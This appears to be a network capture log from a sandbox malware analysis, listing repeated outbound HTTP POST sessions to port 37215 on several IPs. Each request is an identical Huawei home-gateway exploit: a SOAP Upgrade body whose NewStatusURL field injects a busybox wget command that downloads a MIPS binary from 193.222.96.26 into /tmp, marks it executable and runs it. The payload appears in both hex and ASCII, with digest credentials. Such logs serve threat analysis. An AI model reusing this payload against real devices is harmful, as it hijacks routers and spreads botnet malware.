Nov 19, 2023 09:17:41.308778048 CET	3248	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	35056	156.241.88.9	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:37.469985008 CET	3142	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	156.241.88.9	37215	192.168.2.23	35056

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:37.469985008 CET	3142	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	44392	156.224.11.38	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:42.209327936 CET	3274	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:43.836455107 CET	3301	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:45.756150961 CET	3353	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	156.224.11.38	37215	192.168.2.23	44392

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:42.209327936 CET	3274	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:43.836455107 CET	3301	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:45.756150961 CET	3353	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	36808	156.253.34.65	37215

Timestamp	kBytes transferred	Direction	Data
